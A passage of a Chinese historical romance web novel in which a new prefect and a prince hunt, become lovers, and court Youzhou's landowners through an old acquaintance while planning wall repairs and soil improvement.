他回忆着刚才的对话,一遍遍的问自己,季铮是什么意思。 应该不是逗他玩吧? 不是的,肯定不是,陆观潮没忍住闷闷笑出声,浑身都热起来了。 季铮是在邀请他吗…… 陆观潮越想越开心,他心道,自己在这扭捏,还不如季铮坦率。 不对,季铮怎么稀疏平常的说出这些话,难道季铮常做了? 陆观潮如遭雷劈。 等季铮穿戴整齐出门,就见陆观潮眼含怨气,瞪了他一眼,那表情仿佛在骂他是个该死的负心汉。 “又怎么了?”季铮无奈问。 陆观潮气呼呼的走了。 府里没厨子,全靠干粮过活,在一桌寂静中,陆观潮匆匆吃了些东西就出去了。 陶疆看着陆观潮的背影,“殿下今天这是怎么了?” 田观雪与兰香深有此感,三人目光齐刷刷看向最有可能知道的季铮。 “我去看看。”季铮塞下最后一口,喝了些茶水冲了冲,追了出去。 门外,赵年他们还没到,陆观潮就一个人干站着。 季铮走去,问,“怎么又生气了?” 陆观潮没说,他自己也觉得自己的想法幼稚,季铮常不常做这些事又有什么关系,反正季铮是他的了,以后也只会和他。 “没什么。”陆观潮劝好自己道,“是我多想。” 季铮叹道,“有时候真想钻进你脑袋里,看看你到底在想什么。” 陆观潮心想不妙,季铮不会被他闹得不耐烦了吧。 他抬眼看季铮,就见季铮还是笑着,凑近他道,“到底是什么天大的事,值得我心肝多想。” 陆观潮心突突一跳,正要开口,好巧不巧赵年来了。 “殿下,大人?”赵年停马,“你们怎么在门外等着。” 陆观潮未出口的话堵在嘴边,没机会说了。 这附近只有一座山,名叫凤鸣山,山上多长药草野菜,有时运气好,还能捕到野兔野鸡。 只是山上野兽不少,这里男儿少,少有人真敢上山,只敢在半山腰摘摘野菜,每过一段时间便有野兽下到半山腰捕猎,这下唯一的来源都没了。 因此陆观潮闲暇时会进山一趟,猎杀些野兽,将这些畜生往深处赶。 林里不开阔,季铮没带除夕,只带了弓箭,轻骑快马上山。 一入林里,为了效率,几人四散而开,陆观潮自然以保护季铮的名义跟在季铮身边,哪怕季铮压根不用他保护。 此时清晨,正是一些野兽外出觅食的时候。 季铮借了陆观潮的短刀,三下五除二的砍掉面前遮挡视线的树枝,忽然想起什么,道,“你还记不记得我捡到你时也在山里。” 陆观潮脑中浮现当时的场景,他听到藏身之处有动静,出去查看,却被季铮的陷阱暗害了个正着,被网子束缚狼狈极了。 季铮就像神兵天降一样,出现在他眼前,陆观潮想,他大概那时就对季铮有别的心思了,只是对文人的偏见遮蔽双眼。 “我那时吃了好几天的清水煮野菜,许久没见荤腥,饿得能把你吃了。” 季铮想想就气,“唯一指望能抓只兔子补身子的网子,就那样被你弄坏了。” “……” 陆观潮别过头,有些尴尬。 季铮继续说,“好不容易劝住自己人不能吃,你第二天就来堵门。” 陆观潮本没觉得不对,这下恨不得挖个坑把自己埋起来,他到底是做了多少糟心事。 他那么可恶,季铮居然还一直包容他,陆观潮感动,换做自己,恐怕早就把对方大卸八瓣了。 “不过。”季铮又笑了,“还好你那时没脸没皮,不然我可能还在种地,虽然现在也逃不了种地吧。” 没有陆观潮,季铮不一定过的差,但有陆观潮,季铮才觉得在这个时代,有活下去的意义。 晨光自叶间投下,落到季铮脸上,一如初见,陆观潮看得有些呆。 两人正说着,季铮忽的搭箭拉弓,指向高出。 陆观潮立刻回神,看向季铮箭指的位置,层层树叶中,有两只豺狼龇牙咧嘴的朝他们 试探。 季铮出手迅速,毫不心慈手软,“咻”一声箭飞出,直直射入一只跳起来要攻击的豺狼脖子。 豺狼还来不及嚎叫,便倒地,动静激怒另一只,豺狼飞扑而来,季铮搭上箭,却已经来不及了。 这豺狼速度极快,危急关头,陆观潮拔剑挡在季铮身前,刺穿了豺狼的身体。 鲜血喷出,溅到陆观潮脸上,他随手擦了一下,回头问季铮,“没事吧?” “没事。”季铮见他脸上还有血迹没擦干,就要掏出帕子给人擦。 下一秒赵年钻出来,“是你们啊,我还以为是什么呢……哇,这是殿下和大人猎的?” 他兴冲冲的带人收拾了豺狼尸体,分享道,“我们找了半天才猎了一头野猪,那野猪味道特别大,都给属下熏臭了,还好有两只豺狼,也算能向百姓交差了。” 赵年说完,才发现气氛不对。 “呃……”赵年打着哈哈,“那我就去别的地方看看。” 陆观潮捏着季铮匆忙之中丢给他的帕子,问道,“还继续吗?” 这是今日第二次了,可恶的赵年,总打扰他们,方才要是没有赵年,季铮会亲手给他擦脸呢。 几人忙碌了一天,连午饭都没好好吃,最终一算收获,出奇不错。 “多了大人就是不一样。”赵年道,“这比我们之前来时多得多。” 他数了数,又问陆观潮,“殿下,怎么分?” 陆观潮道,“几头野猪割了肉带走,其他的和毛皮都交给难民区的百姓。” 赵年点头,跟着人去分肉了。 太阳要落不落,陆观潮带着季铮走远,交给季铮一张名单,“一直没机会给你,这是你要的地勋名单。” 季铮展看一看,顿觉头疼。 陆观潮记的很详细,单子上不仅标注了人名背景,连手底下的土地,谁与谁关系好都标好了。 他看到其中有一家陶姓地勋,还没开口,就听陆观潮道,“陶疆出身这里。” 季铮蹙眉,“陶疆既是地勋出身,为何要参军。” “说来话长,我长话短说了。”陆观潮解释道,“陶疆是陶家婢女所生,腿上的残疾是出生时自带的,后来我在幽州招兵,这些地勋占了我的地,怎么也要表示表示,每家送了一个儿郎来。” 陶疆就是那时送来的,也是哪一些地勋弟子里唯一一个坚持下来的。 季铮感慨了几声,陆观潮问,“你要如何?” “我得亲眼见见他们。”季铮仔细收好,“关键一步就在他们身上,我若想在幽州有一席之地,绕不开他们。” 陆观潮提醒道,“这些人只认利益,可不讲道理,有些时候连身份高度都不在乎,要我陪你吗?” 季铮笑他,“你若想跟着就跟着。” 今日用了一天弓,手还酸着,他看了看天边的一道晚霞,道,“放心,商人重利,我不过与他们做一场两全其美的生意,怎么可能不同意。” 他这么说,陆观潮便不再劝了。 半晌,陆观潮回首一看,赵年还在分肉割皮,分外后又要去一趟难民区,不知道要等到猴年马月了。 他压抑住语气里的兴奋,对季铮说,“累不累,别等他了,跟我先回去吧。” 季铮斜睨了他一眼,“陆观潮,你的心思不要太明显。” 陆观潮知道他是同意了,沾沾自喜道,“没办法,第一次难免激动了些。” 回应他的,是季铮的白眼。 说得像就他是第一次一样。 87.第 87 章 帐中,烛火昏黄,偶尔能听见门外传来一阵巡逻士兵铁甲摩擦产生的哐哐声。 季铮身着里衣,披着件外袍,长发为了不遮挡实现松松挽起,他才沐浴完,正坐在陆观潮身边研究白日拿到的地勋名单。 陆观潮身为主帅,帐内布局却简单,一张床,一张桌子两把椅子,连烛火一人一根,都没舍得点第三根。 季铮撑着桌子一角,背对着陆观潮凝眉思索。 他说的信誓旦旦,但幽州这些老家伙可不是好对付的,从这张关系密切交错的名单就能看出。 幽州地勋几乎由一张巨大的姻亲网串联起来,人员关系复杂,这家是这家的丈人,那家是那家的叔伯,早已交融到一起密不可分。 这就难对付了,季铮有信心策反几个,但这种情况,季铮终究是外人,一家的决断连通着所有人的决断,但凡有一个人犹豫,他策反几个都没办法。 即便季铮的法子多挣钱,也少人会不要现在似水长流的日子,改变历来的祖宗之法赌一条路。 这时候,要是有一个能在地勋里说得上话拍板答应,一切都好说了。 可他初来乍到,哪认识这些人, 难道也要结一场姻亲才行? 季铮头痛不已,这还真是难倒他了,就不该在陆观潮面前夸下海口的。 陆观潮看完今日汇报上来的军务,抬眼就见季铮眉头紧锁。 男人眉眼柔和,在烛火下更显光辉圣洁,但此刻压着眉,这味道变了,无端有一股威压。 要是让除陆观潮以外的任何一个人看到,都会心中大骇。 烛火照下,季铮棱角分明,陆观潮就这么看着,心里那些上不了台面荡然无存,满心满眼都是眼前人。 陆观潮轻轻放下纸笔,趁季铮在想事情无暇顾及,光明正大的偷看季铮。 真好看,这是他的,他一个人的,谁也抢不走。 陆观潮甜滋滋的想,他支起下巴,一眨不眨的看着季铮。 半晌,陆观潮悄悄拉了一下季铮的衣袖。 季铮猛地回神,转头看到陆观潮,换上笑脸,“弄完了?” 陆观潮点头,随口说季铮的那把椅子不稳,随时会倒,劝季铮坐到自己这边,和自己做一把椅子。 “乱说。”季铮笑骂他,“我坐着稳得很,想让我过去就直说。” 陆观潮“哦”了一声,还真就毫不避讳的直说了,“我想抱你。” 这话一出,季铮听得心头一酥。 什么时候陆观潮也变得这么油嘴滑舌了,顶着这一张懵懂的脸,总说出让人丢兵弃甲的话。 原来那个逗一逗就恼羞成怒逃跑的陆观潮去哪了,他要拿这个得寸进尺的家伙换回来。 陆观潮仿佛不知道自己有多摄人心魄,歪头眨了眨眼,“我直说了,现在可以过来了吗?” 季铮眯了眯眼,还是没懂,他问,“你是不是喝酒了。” “没有。”陆观潮道,“我这一天都和你在一起,哪有时间喝酒。” 没喝酒,怎么这么讨他喜欢? 季铮想不通,除此之外,难不成是自己喜欢陆观潮喜欢到陆观潮干什么都喜欢了? 陆观潮耐心没了,直接上手把季铮拉过来,扯到自己怀里。 他不开心道,“讨厌,我们早上说好的,你是不是又耍我。” 季铮踉跄一步,跌坐到陆观潮身上,感受到胸前钻进来一个毛茸茸的脑袋,“不耍你,我是怕你后悔。” 说着说着,莫名其妙冒出来一个念头,好像应该是陆观潮在他怀里吧。 “我才不。”陆观潮语气有些惶恐,质问季铮,“你反悔了?” 季铮捧着陆观潮的脑袋抬起,郑重道,“这毕竟不是小事,我总得对你负责,若你真心跟我不反悔,我自然不说一个不字。” “真心的。” 陆观潮偏头,亲昵的蹭了蹭季铮手,“等到幽州不打了,我找到接任的人,从此天高地远,你去哪我都跟着,你就是不想负责了,我也跟着你。” 季铮心中一暖,低头亲了亲陆观潮。 他眸中碎了一片星光,道,“我发誓,此生绝不弃你。” 陆观潮得了准话,眼底一沉,欺身而上。 直到季铮被陆观潮压到身下,顿时懵了。 “停一下。”他试图爬起来和陆观潮说清楚,却被人结结实实的摁回去。 季铮吓得连连后退,表情像吃了屎一样,他不可置信道,“这不对啊,不应该是我……” 在他印象里,陆观潮一直是个脆弱需要呵护的性子,按照季铮的思想,两人在一起,怎么看都是他在上更合适吧。 季铮捂住陆观潮亲他的嘴,这是真把他吓到了,早知陆观潮这么想的,他就不同意了,怎么也得把人掰回来再下一步。 陆观潮直接了当的拆了季铮的头发,一边道,“没有不对。” 季铮还没动弹,上身就已经被陆观潮扒的干干净净,一下子更惊恐了,他忙后撤一步,“陆观潮,你等等,咱们再商量一下行不行?” 陆观潮看着面前衣衫不整,发丝凌乱的季铮,自己先委屈了,“你果然是耍我。” “也不是不的意思。”季铮皱着脸不知道该怎么和陆观潮解释,“就是,你白日跑了一天不累吗,我来也行……” 眼睁睁的看着陆观潮垂下眼睫,一副可怜的样子,低声道,“我都听你的,只要能和你在一起,怎么都无所谓。” 季铮深呼吸一口,好样的陆观潮,居然玩这套,拿准了他吃软不吃硬。 末了,季铮妥协了,“好吧。” 他在心底劝自己,陆观潮又不像他知道的多,在这时代长大,接受不了没办法,自己何必跟其他人一样欺负他。 陆观潮眼光重新亮起,季铮弱弱补了一句,“就一次。” 这一夜,雨不知何时淅淅沥沥的落下,风打芭蕉,一室旖旎。 第二日,季铮腰酸背痛的睁眼时,就看到陆观潮对他笑,登时气不打一处来,抄起枕头丢向陆观潮。 “你还有脸笑。”季铮怒道,“再也没有下次了。” 陆观潮被枕头不轻不重的打了一击,故作惹人怜惜的模样,“我又不像你,有过多次,不会不是很正常吗。” 季铮拿起另一只枕头,这回是用了十足的力气照着陆观潮打去,“谁给你说我很多次?” 陆观潮被他追着打,心里却是开心的,听到这一句,停了躲避的动作,呆呆的问,“不是吗?你和我说的那么自然,我以为。” 他说到这,忽然反应过来了,季铮从前一直在苦读,从没见过他和别人亲近,哪来的时间考虑这些。 季铮气红了脸,“你以为什么?我也是!我打死你好了。” 陆 观潮笑了,顺从的让季铮出气。 哦,原来季铮和他一样。 季铮是阴沉着脸走的,陆观潮想送他,被季铮一个眼神定到原地,悻悻止步,让别人去送。 周琉邬路过,奇怪问道,“殿下,那位是谁啊,我没在军中见过。” “新上任的刺史大人。”陆观潮嘴角带着笑,“脾气大得很,你别惹他。” 周琉邬先是被陆观潮的笑吓了一跳,又被这话吓了一跳,心里犯嘀咕,这小刺史背景有多大,朝殿下发脾气还能安然离开。 殿下也是,一大早上笑的这么灿烂是怎么回事。 他不懂,还是张佴过来和他说,“我刚占了一卦,殿下与刺史大人关系可不一般。” 张佴“啧啧”摇头,吐槽道,“世事无常。” 周琉邬没悟出他话中深意,反而训他,“你算卦就算了,还敢算到殿下头上?” 他回头看到顾宜,给人指了指张佴,自己跑去找陆观潮汇报工作。 “害。”张佴露出悲催的表情,“你终究不是我的伯乐。” 顾宜肘了下张佴,翻白眼道,“你伯乐是谁啊。” 张佴陶醉道,“刺史大人!你把我带走吧!” “闭嘴。”顾宜蹬了张佴一脚,“在军中大放厥词,别说刺史,皇帝也救不了你。” 周琉邬跟着陆观潮回到帐内,床铺还没整理好,他轻咳一声,镇定自若的上前放下帷帐。 回头问周琉邬,“情况有变?” “是。”周琉邬压根没看见,一本正经回道,“辽军主将今日亲自操练,看样子是想打一场大的。” 陆观潮回幽州前,辽军也大过几次,但都是闹着玩似的摸一下就跑,不成气候,往常这个时候,两方都交战不知几十次了。 他点头表示知道了,吩咐下去,“夜里巡逻再加五支队伍,值班时间缩短一炷香。” 军中军饷充足,不怕打过来。 “但是殿下。”周琉邬犹豫须臾,还是道,“城墙破损,之前他们就拿投石器打过,那城墙老了,怕是不好修。” 陆观潮道,“多找找师傅,先试一试,若实在不行再来找我。” 周琉邬应了一声,退了出去。 他走后,陆观潮蹙眉思索片刻,城墙是根本,若是修不好,即便再厉害也像纸一样,一点就着。 想着想着,他忽的想起一件事。 季铮在这,他何不去问问季铮有什么办法。 另一边,季铮回府,陶疆上前迎了一步,“大人,你昨夜说的东西我都准备好了,可是当真要给出去吗?” 昨夜季铮传信让陶疆准备几份拜帖,交到几家地勋,他本也没指望这拜帖有用,不过是先礼后兵,冲个面子。 季铮点头,“当然,他们卖不卖我这个面子,我就管不着了。” 陶疆叹息一口,还是听令去做了。 “季铮。” 季铮正想去找陈昇,一回头就见陆观潮在身后。 他这才回府,陆观潮就到了,难道是他一走就追上来? 季铮问,“你来干什么?” “正经事。”陆观潮下马,道,“我有事想请教你。” 季铮答应,就见他提着一个笼子,陆观潮把笼子放到地上,讲道,“昨日猎了几只兔子,今日一看还活着,我记得你之前说要养,给你带来了。” 88.第 88 章 兔子最后被兰香拿去安置了。 陶疆回来时,季铮正和陆观潮讲事。 “陶疆。”季铮道,“你来得正好,怎么样了。” 陶疆摇了摇头,“没有一人接,只有一户家的夫人收了,但不知能不能见到。” 他似乎有点难为情,“我母亲已经故去了,陶家不认我,我也没送进去。” 季铮点头,像是早料到了,倒是没别的表情,还安慰了陶家几句,又道,“无妨,我亲自跑一趟。” 陆观潮发着愣,听他说亲自去,还是没压抑住心中想法,“当真要把这法子交出去?” “那还能怎样。”季铮耸耸肩,“让他们办事,不出出血怎么能行,更何况,最关键的步骤在我这。” 季铮和陆观潮说的,是养地的法子,这会没办法,要拿出来献礼了,另外还有水泥,系统给的教程很全,季铮挑挑拣拣选了一版最容易的,前不久在来的路上就和陈昇讲过了。 这还是陆观潮问他城墙破损,有什么办法修补,季铮才想起来这茬,当即给陆观潮说了一遍。 陆观潮不喜那些地勋,自然也不愿意法子落到那些人手里,可实在没办法,季铮担心打草惊蛇,又不让他权势压人。 这样下去,岂不是白白给他们好日子过。 季铮瞧出陆观潮情绪不对,道,“放心,现在给出去的,将来我会连本带利的讨回来。” 陶疆不受陶家喜欢才被撵出来,带去也说不上话,季铮担心他去了干着急,便只带了陈昇和陆观潮一起。 一上午三人跑了四户,无一例外,都被门房以老爷身子不爽回绝。 季铮是真的低估他们的胆大程度了,要说拜帖拒绝就拒绝了,他本人在这也敢拒绝。 当朝五品刺史都敢无视,有够猖狂的! 陈昇的气不比季铮的少,要不是季铮拦了一把,他都能冲上去和那态度挑不出错误的门房打起来。 也不知陈昇一个没学过武的人,哪来的胆子给人比划。 三人席地而坐,陈昇还不服气,“季铮哥,我还是回去打他一顿了,气死我了。” 陆观潮坐在季铮另一边,吐槽道,“幼稚。” 季铮在中间打着哈哈,自己心里也没主意了,能不能劝好还不一定,现在最大的问题是压根见不到人啊。 虽然已经做好了热脸贴冷屁股的准备,但准备还是做少了。 他道,“要不我上奏,让圣上来?” “行不通。”陆观潮叹道,“我试过,他不管这事。” 早年间,陆观潮也曾上奏讲过,但送去的折子都如石沉大海,砸过去几百封都听不到一个响。 “不管?!” 陈昇气得站起来,“圣上怎么能不管这事,幽州这么多百姓在,难道他全然不顾百姓性命?” 陆观潮一脸平静,“不顾。” 说来也是,陆泽忙着和大都的人争权夺利,哪有时间顾得上幽州。 现在积少成多,假账做的愈发漂亮了,更是想管都不好管了,即便圣上出面,也不过褪层皮毛。 “怪不得这么轻松的把我调过来。”季铮无奈笑笑,“原来在这等着呢。” 三人正说着,面前有一人快马驰过,掀起一阵风沙。 季铮叹气,他是无意讲究身份,但像这样从一州刺史面前架马而过,一声招呼不打,闻所未闻。 他一口气还没叹完,那架马而过的人又风驰电逝的折返回来。 季铮顿时生无可恋,扬他一脸灰还不够,又要扬一次。 这次,架马的人在他们面前停下,下马走到季铮面前,道,“刺史大人?” 嘿呦,还有人认得他? 季铮抬眼,是一个短打布衫的中年男人,见他抬头,匆忙回退几步,拜见道,“见过刺史大人。” 他一转头看到陆观潮,惊得直接跪下了,“拜见珏王殿下。” 陆观潮看了季铮一眼,淡淡“嗯”了声。 季铮没印象见过他,便问,“你怎么知道是我。” “大人衣着不凡,相貌堂堂,小的只以为身份不简单,便没停留。”男人道,“可又转念一想,这大白天的,怎么会有人不归家,便起了疑心。” 陆观潮在幽州也是风云人物,男人认识也不奇怪。 男人笑道,“只是没想到,竟真是刺史大人,又见珏王殿下在此,才敢肯定。” 季铮有趣道,“你倒是眼尖,找我什么事?” 男人忙掏出信件,“小的是迟家的下人,大人不是送了拜帖吗,夫人让小的回帖,这不正在路上。” 季铮和陆观潮对视一眼,从男人手上接了信件,果不其然,一行娟秀的笔迹极规矩的回了一份,意思是多谢大人来信,大人随时来都无妨。 陈昇凑上来看了一眼,喜道,“太好了,终于有一个人了。” 季铮记得迟家,是去年才出名,家中长子病重,冲喜娶了外地一户女子,还是没多年撒手人寰,是这女子用嫁妆四处打点才渐有名气。 他看着手上这份回帖,莫名觉得眼熟。 陆观潮问,“有什么顾虑?” “没有。”季铮摇了摇头,有对男人道,“我正好没事,带我过去吧。” 男人“诶”了一声,给两人引路。 才到池府门口,季铮就听到府内少年的欢声笑语。 他抬头,就见一个小公子 男人介绍道,“这是府内的二公子,天性爱闹。” 季铮没说什么,男人吩咐一旁的人,“去告诉夫人,刺史大人与珏王殿下都来了。” 少年和侍从笑闹着而过,一转头看到门口的人一愣,“你们是?” 男人怕自己这位格外大胆的少爷乱说话,感觉讲,“这位是珏王殿下,刺史大人。” “刺史?”少年笑道,“幽州都几百年没刺史了,你哄我玩呢?” 他朝季铮一抬下巴,“诶,你装的时候能不能分析一下,我们幽州没刺史。” 男人吓得脸都青了,“少爷,真是刺史大人。” 季铮抬手,打断道道,“你何以见得我不是刺史?” “这不简单,我从听说有新刺史的消息。”少年自豪道,“况且你这么年轻,看着还没我大,那些大官都是老头,你怎么可能是刺史。” 少年身边的侍从小心翼翼道,“少爷,您忘了,前几日夫人罚您归祠堂,正好错过了。” 少年足足愣了许久,才明白过来面前的是真刺史和珏王,吓得嘴都合不拢,不知该跪该拜。 季铮笑了笑,这迟家二少真是傻的可爱。 “迟述。”府内传来女人的声音,“不得无礼。” 季铮看去,却看到一个熟悉的人,居然是孟仲?!

孟仲见到季铮也是吓了一跳,“季生员?” “是我。”季铮点了点头,心底猜孟仲能在府内直呼二少爷名讳,想必就是迟家那位夫人了。 男人快走几步道孟仲身边,“夫人,这就是珏王殿下和刺史大人了。” 说罢,他眼珠子转了一圈,问,“您认识?” 何止是认识,关系还不简单啊。 陆观潮没见过孟仲,不解的看向季铮,“她是谁?” 季铮低声和陆观潮解释,“当年季秧做工的主家小姐,给季秧改名时她帮了忙。” “原来是她,这我就放心了。”陆观潮说完,回头看了看日头。 季铮不让他带人硬闯耍威风,先前是怕那些人对季铮无礼,才一路跟着。 这会遇到季铮熟人,觉得自己留在也起不到作用,反而耽误季铮谈事,便低声和季铮说了几句,先行离开了。 陆观潮一颔首离开,孟仲不敢问,吩咐男人牵马去送。 另一边陈昇眼睛亮了亮,他不记得孟仲长什么样,但也记得自己阿姐是跟着主家小姐一起走了。 顿时兴致勃勃的问,“夫人,我是陈旭的弟弟,我阿姐在吗?” 孟仲上下看了一遍陈昇,回忆片刻道,“她确实和我说过有一个弟弟,今日她去庄子上了,不在府里,等她回来我定告知她。” 她先是让迟述向三人道歉,自己也是好一阵惭愧管教不周,领几人回房。 这二少爷顽劣不堪,听方才其身边的侍从说的罚跪祠堂的语气就能看出,不是一回两回了,季铮自是道无妨,这事不轻不重的揭了过去。 孟仲却让人又将迟述拉下去,罚了三天跪,做足了场面。 她愿意表演,季铮也没善心大发说什么,迟述哀嚎一声被拉下。 坐下后,孟仲套近乎道,“许久不见大人了,没承想大人如今已高迁刺史,当日您来幽州,我便打算拜访,只是怕您忙,晚了几日,没想到被大人抢先了,失礼了。” 季铮当然没说他交遍了帖子就你一家收了,有损刺史威严,只是淡淡一笑,“我竟也没料到,夫人嫁到幽州了。” “说来话长。”孟仲道,“本是要去冀州的,夫家原订下的郎君病逝了,那家与幽州迟家相熟,便辗转来了幽州。” 季铮看得出孟仲不想多说,点了点头不再多问,“此次拜访,是想和夫人谈一桩生意。” 孟仲了然,“我与幽州地勋确实小有联系,但毕竟只是一节女流,怕是无法帮得上大人。” 两人正说着,门外门房来报,“夫人,陈姑娘回来了。” 陈昇刷的站起身,“阿姐?” 进来的姑娘看到陈昇一怔,眉头一挑,口气还是平淡,“陈昇。” “小旭。”孟仲道,“这位就是刺史大人。” 陈旭看到季铮震惊比看到陈昇多多了。 “刺史?” 陈旭顿了顿,才回过神,“对不住,我打扰大人了。” “没关系。”季铮道,“陈昇也很想你,听说姑娘去了庄子上,我正感兴趣,不必多礼。” 陈旭得到示意后坐下,孟仲问道,“庄稼怎么样?” “和往日一样。”陈旭叹道,“今年春没下多少雨,恐怕收成还要再低。” 季铮这时开口,“如果有一个方法能养好土地,你们想知道吗?” 89.第 89 章 在场三人的视线齐刷刷的看向季铮。 孟仲笑意淡下,“大人,您别安慰我了,自从我来幽州,是什么法子都试过了,半点没有变化。” 陈昇也紧张兮兮的看着季铮。 陈旭倒没质疑的表情,季铮更倾向于她是没把这句话放到心上。 “并非安慰。”季铮神色很平淡,“我有法子能治。” 他说的胸有成竹,这气势还真把孟仲吓到了。 孟仲睫毛颤了颤,还是无法下定决心,这毕竟不是小孩子过家家,你说你有一文钱,我就乐呵呵的给你烧饼。 季铮说他能,难道她就要用自己手底下的田地去换吗? 更何况,孟仲看得出,季铮想要的不止是她手底下的田那么简单,乃至全幽州的田,又或者她们这些地勋的命,这位刺史大人好像都想收入麾下。 不然季铮为何不混口俸禄,费尽心思找他们做什么。 昨日几家地勋私下见面,为的就是季铮。 消息灵通的将他事迹打探清楚了,圣上亲授,珏王讨要,连升两阶,包括他在陇县的动作,不收贿赂的性子,不过半天时间,传入了幽州大小地勋而立。 孟仲可听说了,季铮前日到幽州,连手底下的官员都没见,径直奔着他们来了,势头之猛,其心思不言而喻。 碰上这么个手腕强硬的硬骨头,谁敢开门迎接?生怕自己就是掉的第一个脑袋。 说到底,他们也不过是小小地主,哪能不怕上头的官,若是别的草根寒门,嚣张也就嚣张,反正都被撵到幽州,想来也不受重视,可季铮不一样,背靠珏王圣上,谁敢拿乔。 不敢见面,也不能拿乔,只好闭门不见,能躲就躲了。 季铮怎么可能不知道没人敢见他,孟仲猜测,季铮今日这么到处走一趟,是为了来日拿他们开刀有个理由,这才马不停蹄的请人来坐。 既然圣上派他来了,那就是圣上不打算留他们了,不过是早死晚死,岂是躲能躲掉的,孟仲只想,主动顺从或许还能保住一条命。 孟仲不信季铮真有法子能治荒田,就是季铮办得一塌糊涂,为了活命也要拍手夸夸大人厉害。 想到这点,孟仲逼着自己道,“大人都开口了,我怎么敢说不,那就如大人所言,我手上的地都交给您了。” 她说着,给陈旭使了个眼色,陈旭转头取来一沓子地契摆到桌上。 不过她识时务捞一条命,剩下几个胆小的,还能不能捞到这个好处就不一定了。 孟仲猜得不错,季铮心里确实这么想的。 他把玩着手上的茶杯,一眼都没分给那一沓子地契,退了一步,“不急,我需要你做另一件事。” 孟仲顿住了,“大人请说。” “给我半亩地。”季铮道,“除此之外,我还要见你能叫出来的所有地勋。” 这下,孟仲猜不出来了季铮用意了,“我尽量为大人都叫上,不过他们答不答应,我就不敢保证了。” 季铮笑道,“你就说,我是来谈生意的,不是赶尽杀绝的。” 孟仲面上不显,心底却苦笑,不赶尽杀绝?还好意思说,他们干的那些事,孟仲自己都觉得罪大恶极。 下一秒,季铮道,“还望夫人尽心而为,我相信夫人,毕竟能教出如此乖巧的二少爷,夫人手段了的。” 迟家只有两个儿子,大少爷死了,财产必定由二少爷继承,孟仲再怎样也只是大嫂,管理一时罢了,终究还是要交还给二少的。 那倘若二少一直是个不中用的草包,长嫂不放心而不让管家权,也没人敢说什么吧。 孟仲心底咯噔一声,态度认真了,“我一定办到。” 季铮要走时,回头看到陈昇恋恋不舍和陈旭告别,无奈笑了笑,问孟仲道,“陈昇舍不得,能否让陈姑娘陪他几日。” “这有何难。”孟仲道,“不过府内离不开陈姑娘,若陈公子不介意,来府中住下也可。” 陈昇眼巴巴的看向季铮,季铮被看得没办法,顺坡下驴让陈昇留下了。 他回头,和陈昇对了个眼神,才告辞离去。 出门上马还没走多久,陆观潮就跟上来了,“妥了?” “差不多。”季铮道,“我现在没的忙,陪你回军中看看。” 陆观潮登时乐了,“你要陪我?” 季铮笑骂,“少往自己脸上贴金了,我是去看看城墙。” 刺史府。 “大人。” 门口,绿色官袍的人讪讪一笑,“刺史大人在府里吗?” 陶疆谢绝,“我家大人还未授我官职,各位大人不必有礼,我家大人出门去了,不知何时归府。” 另一人叹了口气,“罢了罢了,大人正事重要,我等改日拜访。” 这两位是幽州长史周桂,司马邓元,两人皆是发须花白,十分执着,自从前日都交帖子想拜见季铮,连着交了三天帖子,今日更是亲自来交拜帖。 可惜了,季铮这几天没有管他们的想法,陶疆不忍心道,“我家大人还记得几位,您们不必忧心,到时候自然会召见。” 周桂长舒一口气,“这有就好,这样就好,多谢小公子了。” “多谢多谢。”邓元从背后不好意思的掏出一个木盒。 陶疆后退一步,“我家大人吩咐了不可收礼,大人快收起来。” “不不不。”邓元连忙解释,“这是我与周大人家里种的果子,想着大人可能买不到。” 他打开,陶疆看了一眼,确实是一些果子不假,不知道是不是怕拿不出手,樱桃和青梅洗的干干净净。 陶疆这是不得不收了,他道,“大人一片好心,等到大人回来,我一定交到大人手上。” 这下周桂与邓元就放心了,意满离去。 送走两人,兰香冒头过来接过盒子,开心道,“有樱桃!” “这是送给大人的。”陶疆道,“你可别都吃了。” 兰香捧着盒子问,“大人什么时候回来啊。” 陶疆摇头,“不知道,据说是还要跟着珏王去军中。” 兰香撇了撇嘴,到底没说什么,抱着盒子走了。 城墙脚下,周琉邬看着季铮的操作,很不信任。 张佴却很兴奋,在旁边兴致勃勃的看着,时不时发问,“这白的是什么?” 季铮道,“青石。” “这有什么用啊?”张佴上手碰了碰。 “补城墙的。”季铮回头看陆观潮,“具体的步骤我告知殿下了,补一城墙绰绰有余。” 周琉邬还是不信,“当真可以?” 季铮被质疑也没恼,笑了笑道,“能不能行,试一试不就行了。” “周将军。”季铮又道,“现在不是没有更好的办法了吗?” 周琉邬一想确实如此,向陆观潮讨要方法,按照季铮给的步骤吩咐下去。 这会是练兵的时间,陆观潮问,“和我一起上城墙看看吗?” 张佴也想跟着,但被赵年拉走了。 两人登上城墙,几个守城将士兢兢业业的站岗,没有动作。 季铮看了一圈,问道,“军中将士多少?” “十万。”陆观潮道,“但各州都有驻军点,常驻幽州的只有四万,青壮年仅仅有两万。” 季铮眉头微皱,“老兵有两万?” “两万里不止是两万,还有没到岁数被送进来的孩子。” 陆观潮面色有些沉重,和季铮解释道,“总有家中吃不起饭的人家,为了孩子多一条出路,谎报年纪送进来,我们知道,但不能拒绝。” 在军中尚且能吃军饷活命,若他们不收,就真的要在外面饿死了。 季铮看向另一头,城墙上能看到城内操练的士兵,他看了会,道,“缺粮?” “缺。”陆观潮道,“每年给的军饷是够数的,幽州每年都交不上粮食,陆泽怎么可能多给,只够现在的人温饱,再多的就只能从我这扣。” 陆观潮道,“不仅缺粮,也缺钱,军中将士本该每年拿到补助,但为了安置死伤将士家属,杂七杂八的费用,克扣多年了。” 季铮便更不懂了,“幽州土地产量是低,但总不至于交不上税收吧。” 陆观潮道,“幽州不止是产量低,真正能耕种的土地没多少,大多是都是山,山上种不了地。” 说到底,还是粮食的问题,若是幽州的粮食能做到自给自足,陆观潮便不用年年回大都,朝陆泽要粮了,军中更宽裕,将士的质量也能提升。 季铮几乎是下一秒就想到应对方法——梯田。 山顶养鸡,山坡种地,极大扩增产地,他那日和陆观潮去凤鸣山看过,能是能,但不是小工程,短时间内无法实现,季铮便压下不提,等到时机成熟再和陆观潮讲。 季铮又看了会操练的将士。 其中一对将士年迈,更不上动作,一人颤颤巍巍的倒下,由领队的带下去了。 季铮移开目光,转头发现陆观潮也看向那边,神色未变,应是常见了, 他道,“你是不是想问我,为何老将还要操练?可真白养着,他们四肢健全,军中纪律怎么办,若是能的话,我宁愿发钱放他们归家。” 可没钱给他们发,他们回去后钱花完也活不了。 季铮和陆观潮站在一起,微风吹着季铮的头发飘到陆观潮眼前,他听到季铮的声音, “会好的。” 